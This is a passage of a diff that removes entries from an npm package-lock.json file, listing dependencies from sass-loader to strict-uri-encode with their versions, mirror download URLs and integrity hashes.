-      "resolved": "https://registry.nlark.com/sass-loader/download/sass-loader-10.2.0.tgz?cache=0&sync_timestamp=1622562247905&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsass-loader%2Fdownload%2Fsass-loader-10.2.0.tgz",
-      "integrity": "sha1-PWTBWQ+REBOz+kigsiqD1eFJRxY=",
-      "requires": {
-        "klona": "^2.0.4",
-        "loader-utils": "^2.0.0",
-        "neo-async": "^2.6.2",
-        "schema-utils": "^3.0.0",
-        "semver": "^7.3.2"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz",
-          "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=",
-          "requires": {
-            "@types/json-schema": "^7.0.6",
-            "ajv": "^6.12.5",
-            "ajv-keywords": "^3.5.2"
-          }
-        }
-      }
-    },
-    "sax": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npm.taobao.org/sax/download/sax-1.2.4.tgz",
-      "integrity": "sha1-KBYjTiN4vdxOU1T6tcqold9xANk="
-    },
-    "saxes": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/saxes/download/saxes-5.0.1.tgz",
-      "integrity": "sha1-7rq5U/o7dgjb6U5drbFciI+maW0=",
-      "requires": {
-        "xmlchars": "^2.2.0"
-      }
-    },
-    "scheduler": {
-      "version": "0.20.2",
-      "resolved": "https://registry.nlark.com/scheduler/download/scheduler-0.20.2.tgz",
-      "integrity": "sha1-S67jlDbjSqk7SHS93L8P6Li1DpE=",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1"
-      }
-    },
-    "schema-utils": {
-      "version": "2.7.1",
-      "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-2.7.1.tgz",
-      "integrity": "sha1-HKTzLRskxZDCA7jnpQvw6kzTlNc=",
-      "requires": {
-        "@types/json-schema": "^7.0.5",
-        "ajv": "^6.12.4",
-        "ajv-keywords": "^3.5.2"
-      }
-    },
-    "select-hose": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/select-hose/download/select-hose-2.0.0.tgz",
-      "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo="
-    },
-    "selfsigned": {
-      "version": "1.10.11",
-      "resolved": "https://registry.nlark.com/selfsigned/download/selfsigned-1.10.11.tgz?cache=0&sync_timestamp=1620160245612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fselfsigned%2Fdownload%2Fselfsigned-1.10.11.tgz",
-      "integrity": "sha1-JJKc2Qb+D0S20B+yOZmnOVN6y+k=",
-      "requires": {
-        "node-forge": "^0.10.0"
-      }
-    },
-    "semver": {
-      "version": "7.3.2",
-      "resolved": "https://registry.nlark.com/semver/download/semver-7.3.2.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.3.2.tgz",
-      "integrity": "sha1-YElisFK4HtB4aq6EOJ/7pw/9OTg="
-    },
-    "send": {
-      "version": "0.17.1",
-      "resolved": "https://registry.nlark.com/send/download/send-0.17.1.tgz?cache=0&sync_timestamp=1618847000507&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsend%2Fdownload%2Fsend-0.17.1.tgz",
-      "integrity": "sha1-wdiwWfeQD3Rm3Uk4vcROEd2zdsg=",
-      "requires": {
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "destroy": "~1.0.4",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "fresh": "0.5.2",
-        "http-errors": "~1.7.2",
-        "mime": "1.6.0",
-        "ms": "2.1.1",
-        "on-finished": "~2.3.0",
-        "range-parser": "~1.2.1",
-        "statuses": "~1.5.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          },
-          "dependencies": {
-            "ms": {
-              "version": "2.0.0",
-              "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-              "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-            }
-          }
-        },
-        "ms": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.1.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.1.tgz",
-          "integrity": "sha1-MKWGTrPrsKZvLr5tcnrwagnYbgo="
-        }
-      }
-    },
-    "serialize-javascript": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-5.0.1.tgz",
-      "integrity": "sha1-eIbshIBJpGJGepfT2Rjrsqr5NPQ=",
-      "requires": {
-        "randombytes": "^2.1.0"
-      }
-    },
-    "serve-index": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npm.taobao.org/serve-index/download/serve-index-1.9.1.tgz",
-      "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=",
-      "requires": {
-        "accepts": "~1.3.4",
-        "batch": "0.6.1",
-        "debug": "2.6.9",
-        "escape-html": "~1.0.3",
-        "http-errors": "~1.6.2",
-        "mime-types": "~2.1.17",
-        "parseurl": "~1.3.2"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "http-errors": {
-          "version": "1.6.3",
-          "resolved": "https://registry.nlark.com/http-errors/download/http-errors-1.6.3.tgz",
-          "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
-          "requires": {
-            "depd": "~1.1.2",
-            "inherits": "2.0.3",
-            "setprototypeof": "1.1.0",
-            "statuses": ">= 1.4.0 < 2"
-          }
-        },
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "setprototypeof": {
-          "version": "1.1.0",
-          "resolved": "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz",
-          "integrity": "sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY="
-        }
-      }
-    },
-    "serve-static": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npm.taobao.org/serve-static/download/serve-static-1.14.1.tgz",
-      "integrity": "sha1-Zm5jbcTwEPfvKZcKiKZ0MgiYsvk=",
-      "requires": {
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "parseurl": "~1.3.3",
-        "send": "0.17.1"
-      }
-    },
-    "set-blocking": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/set-blocking/download/set-blocking-2.0.0.tgz",
-      "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
-    },
-    "set-value": {
-      "version": "2.0.1",
-      "resolved": "https://registry.nlark.com/set-value/download/set-value-2.0.1.tgz",
-      "integrity": "sha1-oY1AUw5vB95CKMfe/kInr4ytAFs=",
-      "requires": {
-        "extend-shallow": "^2.0.1",
-        "is-extendable": "^0.1.1",
-        "is-plain-object": "^2.0.3",
-        "split-string": "^3.0.1"
-      },
-      "dependencies": {
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        }
-      }
-    },
-    "setimmediate": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/setimmediate/download/setimmediate-1.0.5.tgz",
-      "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU="
-    },
-    "setprototypeof": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.1.tgz",
-      "integrity": "sha1-fpWsskqpL1iF4KvvW6ExMw1K5oM="
-    },
-    "sha.js": {
-      "version": "2.4.11",
-      "resolved": "https://registry.npm.taobao.org/sha.js/download/sha.js-2.4.11.tgz",
-      "integrity": "sha1-N6XPC4HsvGlD3hCbopYNGyZYSuc=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "shebang-command": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/shebang-command/download/shebang-command-1.2.0.tgz",
-      "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=",
-      "requires": {
-        "shebang-regex": "^1.0.0"
-      }
-    },
-    "shebang-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-1.0.0.tgz",
-      "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM="
-    },
-    "shell-quote": {
-      "version": "1.7.2",
-      "resolved": "https://registry.npm.taobao.org/shell-quote/download/shell-quote-1.7.2.tgz",
-      "integrity": "sha1-Z6fQLHbJ2iT5nSCAj8re0ODgS+I="
-    },
-    "shellwords": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/shellwords/download/shellwords-0.1.1.tgz",
-      "integrity": "sha1-1rkYHBpI05cyTISHHvvPxz/AZUs=",
-      "optional": true
-    },
-    "side-channel": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/side-channel/download/side-channel-1.0.4.tgz",
-      "integrity": "sha1-785cj9wQTudRslxY1CkAEfpeos8=",
-      "requires": {
-        "call-bind": "^1.0.0",
-        "get-intrinsic": "^1.0.2",
-        "object-inspect": "^1.9.0"
-      }
-    },
-    "signal-exit": {
-      "version": "3.0.3",
-      "resolved": "https://registry.nlark.com/signal-exit/download/signal-exit-3.0.3.tgz",
-      "integrity": "sha1-oUEMLt2PB3sItOJTyOrPyvBXRhw="
-    },
-    "simple-swizzle": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npm.taobao.org/simple-swizzle/download/simple-swizzle-0.2.2.tgz",
-      "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=",
-      "requires": {
-        "is-arrayish": "^0.3.1"
-      },
-      "dependencies": {
-        "is-arrayish": {
-          "version": "0.3.2",
-          "resolved": "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.3.2.tgz",
-          "integrity": "sha1-RXSirlb3qyBolvtDHq7tBm/fjwM="
-        }
-      }
-    },
-    "sisteransi": {
-      "version": "1.0.5",
-      "resolved": "https://registry.nlark.com/sisteransi/download/sisteransi-1.0.5.tgz",
-      "integrity": "sha1-E01oEpd1ZDfMBcoBNw06elcQde0="
-    },
-    "slash": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/slash/download/slash-3.0.0.tgz",
-      "integrity": "sha1-ZTm+hwwWWtvVJAIg2+Nh8bxNRjQ="
-    },
-    "slice-ansi": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/slice-ansi/download/slice-ansi-4.0.0.tgz?cache=0&sync_timestamp=1618554945131&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fslice-ansi%2Fdownload%2Fslice-ansi-4.0.0.tgz",
-      "integrity": "sha1-UA6N0P1VsFgVCGJVsxla3ypF/ms=",
-      "requires": {
-        "ansi-styles": "^4.0.0",
-        "astral-regex": "^2.0.0",
-        "is-fullwidth-code-point": "^3.0.0"
-      }
-    },
-    "snapdragon": {
-      "version": "0.8.2",
-      "resolved": "https://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz",
-      "integrity": "sha1-ZJIufFZbDhQgS6GqfWlkJ40lGC0=",
-      "requires": {
-        "base": "^0.11.1",
-        "debug": "^2.2.0",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "map-cache": "^0.2.2",
-        "source-map": "^0.5.6",
-        "source-map-resolve": "^0.5.0",
-        "use": "^3.1.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "snapdragon-node": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/snapdragon-node/download/snapdragon-node-2.1.1.tgz",
-      "integrity": "sha1-bBdfhv8UvbByRWPo88GwIaKGhTs=",
-      "requires": {
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.0",
-        "snapdragon-util": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz",
-          "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "snapdragon-util": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/snapdragon-util/download/snapdragon-util-3.0.1.tgz",
-      "integrity": "sha1-+VZHlIbyrNeXAGk/b3uAXkWrVuI=",
-      "requires": {
-        "kind-of": "^3.2.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "sockjs": {
-      "version": "0.3.21",
-      "resolved": "https://registry.npm.taobao.org/sockjs/download/sockjs-0.3.21.tgz?cache=0&sync_timestamp=1612938804584&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsockjs%2Fdownload%2Fsockjs-0.3.21.tgz",
-      "integrity": "sha1-s0/7mOeWkwtgoM+hGQTWozmn1Bc=",
-      "requires": {
-        "faye-websocket": "^0.11.3",
-        "uuid": "^3.4.0",
-        "websocket-driver": "^0.7.4"
-      },
-      "dependencies": {
-        "uuid": {
-          "version": "3.4.0",
-          "resolved": "https://registry.nlark.com/uuid/download/uuid-3.4.0.tgz",
-          "integrity": "sha1-sj5DWK+oogL+ehAK8fX4g/AgB+4="
-        }
-      }
-    },
-    "sockjs-client": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npm.taobao.org/sockjs-client/download/sockjs-client-1.5.1.tgz",
-      "integrity": "sha1-JWkI9tWt+5Tau9vQLGY2LMoPnqY=",
-      "requires": {
-        "debug": "^3.2.6",
-        "eventsource": "^1.0.7",
-        "faye-websocket": "^0.11.3",
-        "inherits": "^2.0.4",
-        "json3": "^3.3.3",
-        "url-parse": "^1.5.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.7",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-3.2.7.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-3.2.7.tgz",
-          "integrity": "sha1-clgLfpFF+zm2Z2+cXl+xALk0F5o=",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        }
-      }
-    },
-    "sort-keys": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/sort-keys/download/sort-keys-1.1.2.tgz",
-      "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=",
-      "requires": {
-        "is-plain-obj": "^1.0.0"
-      }
-    },
-    "source-list-map": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/source-list-map/download/source-list-map-2.0.1.tgz",
-      "integrity": "sha1-OZO9hzv8SEecyp6jpUeDXHwVSzQ="
-    },
-    "source-map": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz",
-      "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM="
-    },
-    "source-map-js": {
-      "version": "0.6.2",
-      "resolved": "https://registry.nlark.com/source-map-js/download/source-map-js-0.6.2.tgz",
-      "integrity": "sha1-C7XeYxtBz72mz7qL0FqA79/SOF4="
-    },
-    "source-map-resolve": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.5.3.tgz",
-      "integrity": "sha1-GQhmvs51U+H48mei7oLGBrVQmho=",
-      "requires": {
-        "atob": "^2.1.2",
-        "decode-uri-component": "^0.2.0",
-        "resolve-url": "^0.2.1",
-        "source-map-url": "^0.4.0",
-        "urix": "^0.1.0"
-      }
-    },
-    "source-map-support": {
-      "version": "0.5.19",
-      "resolved": "https://registry.nlark.com/source-map-support/download/source-map-support-0.5.19.tgz",
-      "integrity": "sha1-qYti+G3K9PZzmWSMCFKRq56P7WE=",
-      "requires": {
-        "buffer-from": "^1.0.0",
-        "source-map": "^0.6.0"
-      }
-    },
-    "source-map-url": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npm.taobao.org/source-map-url/download/source-map-url-0.4.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsource-map-url%2Fdownload%2Fsource-map-url-0.4.1.tgz",
-      "integrity": "sha1-CvZmBadFpaL5HPG7+KevvCg97FY="
-    },
-    "sourcemap-codec": {
-      "version": "1.4.8",
-      "resolved": "https://registry.npm.taobao.org/sourcemap-codec/download/sourcemap-codec-1.4.8.tgz",
-      "integrity": "sha1-6oBL2UhXQC5pktBaOO8a41qatMQ="
-    },
-    "spdx-correct": {
-      "version": "3.1.1",
-      "resolved": "https://registry.nlark.com/spdx-correct/download/spdx-correct-3.1.1.tgz",
-      "integrity": "sha1-3s6BrJweZxPl99G28X1Gj6U9iak=",
-      "requires": {
-        "spdx-expression-parse": "^3.0.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-exceptions": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/spdx-exceptions/download/spdx-exceptions-2.3.0.tgz",
-      "integrity": "sha1-PyjOGnegA3JoPq3kpDMYNSeiFj0="
-    },
-    "spdx-expression-parse": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/spdx-expression-parse/download/spdx-expression-parse-3.0.1.tgz?cache=0&sync_timestamp=1589682217985&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fspdx-expression-parse%2Fdownload%2Fspdx-expression-parse-3.0.1.tgz",
-      "integrity": "sha1-z3D1BILu/cmOPOCmgz5KU87rpnk=",
-      "requires": {
-        "spdx-exceptions": "^2.1.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-license-ids": {
-      "version": "3.0.9",
-      "resolved": "https://registry.nlark.com/spdx-license-ids/download/spdx-license-ids-3.0.9.tgz",
-      "integrity": "sha1-illRNd75WSvaaXCUdPHL7qfCRn8="
-    },
-    "spdy": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npm.taobao.org/spdy/download/spdy-4.0.2.tgz",
-      "integrity": "sha1-t09GYgOj7aRSwCSSuR+56EonZ3s=",
-      "requires": {
-        "debug": "^4.1.0",
-        "handle-thing": "^2.0.0",
-        "http-deceiver": "^1.2.7",
-        "select-hose": "^2.0.0",
-        "spdy-transport": "^3.0.0"
-      }
-    },
-    "spdy-transport": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/spdy-transport/download/spdy-transport-3.0.0.tgz",
-      "integrity": "sha1-ANSGOmQArXXfkzYaFghgXl3NzzE=",
-      "requires": {
-        "debug": "^4.1.0",
-        "detect-node": "^2.0.4",
-        "hpack.js": "^2.1.6",
-        "obuf": "^1.1.2",
-        "readable-stream": "^3.0.6",
-        "wbuf": "^1.7.3"
-      }
-    },
-    "split-string": {
-      "version": "3.1.0",
-      "resolved": "https://registry.nlark.com/split-string/download/split-string-3.1.0.tgz",
-      "integrity": "sha1-fLCd2jqGWFcFxks5pkZgOGguj+I=",
-      "requires": {
-        "extend-shallow": "^3.0.0"
-      }
-    },
-    "sprintf-js": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/sprintf-js/download/sprintf-js-1.0.3.tgz",
-      "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw="
-    },
-    "ssri": {
-      "version": "8.0.1",
-      "resolved": "https://registry.nlark.com/ssri/download/ssri-8.0.1.tgz?cache=0&sync_timestamp=1621364918494&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-8.0.1.tgz",
-      "integrity": "sha1-Y45OQ54v+9LNKJd21cpFfE9Roq8=",
-      "requires": {
-        "minipass": "^3.1.1"
-      }
-    },
-    "stable": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npm.taobao.org/stable/download/stable-0.1.8.tgz",
-      "integrity": "sha1-g26zyDgv4pNv6vVEYxAXzn1Ho88="
-    },
-    "stack-utils": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npm.taobao.org/stack-utils/download/stack-utils-2.0.3.tgz?cache=0&sync_timestamp=1617647925126&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstack-utils%2Fdownload%2Fstack-utils-2.0.3.tgz",
-      "integrity": "sha1-zV8DASb/EWt4zLPAJ/4wJxO2Enc=",
-      "requires": {
-        "escape-string-regexp": "^2.0.0"
-      },
-      "dependencies": {
-        "escape-string-regexp": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-2.0.0.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-2.0.0.tgz",
-          "integrity": "sha1-owME6Z2qMuI7L9IPUbq9B8/8o0Q="
-        }
-      }
-    },
-    "stackframe": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/stackframe/download/stackframe-1.2.0.tgz",
-      "integrity": "sha1-UkKUktY8YuuYmATBFVLj0i53kwM="
-    },
-    "static-extend": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npm.taobao.org/static-extend/download/static-extend-0.1.2.tgz",
-      "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
-      "requires": {
-        "define-property": "^0.2.5",
-        "object-copy": "^0.1.0"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "statuses": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npm.taobao.org/statuses/download/statuses-1.5.0.tgz?cache=0&sync_timestamp=1609654066899&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstatuses%2Fdownload%2Fstatuses-1.5.0.tgz",
-      "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow="
-    },
-    "stream-browserify": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/stream-browserify/download/stream-browserify-2.0.2.tgz",
-      "integrity": "sha1-h1IdOKRKp+6RzhzSpH3wy0ndZgs=",
-      "requires": {
-        "inherits": "~2.0.1",
-        "readable-stream": "^2.0.2"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "stream-each": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npm.taobao.org/stream-each/download/stream-each-1.2.3.tgz",
-      "integrity": "sha1-6+J6DDibBPvMIzZClS4Qcxr6m64=",
-      "requires": {
-        "end-of-stream": "^1.1.0",
-        "stream-shift": "^1.0.0"
-      }
-    },
-    "stream-http": {
-      "version": "2.8.3",
-      "resolved": "https://registry.npm.taobao.org/stream-http/download/stream-http-2.8.3.tgz",
-      "integrity": "sha1-stJCRpKIpaJ+xP6JM6z2I95lFPw=",
-      "requires": {
-        "builtin-status-codes": "^3.0.0",
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.3.6",
-        "to-arraybuffer": "^1.0.0",
-        "xtend": "^4.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "stream-shift": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/stream-shift/download/stream-shift-1.0.1.tgz",
-      "integrity": "sha1-1wiCgVWasneEJCebCHfaPDktWj0="
-    },
-    "strict-uri-encode": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/strict-uri-encode/download/strict-uri-encode-1.1.0.tgz",
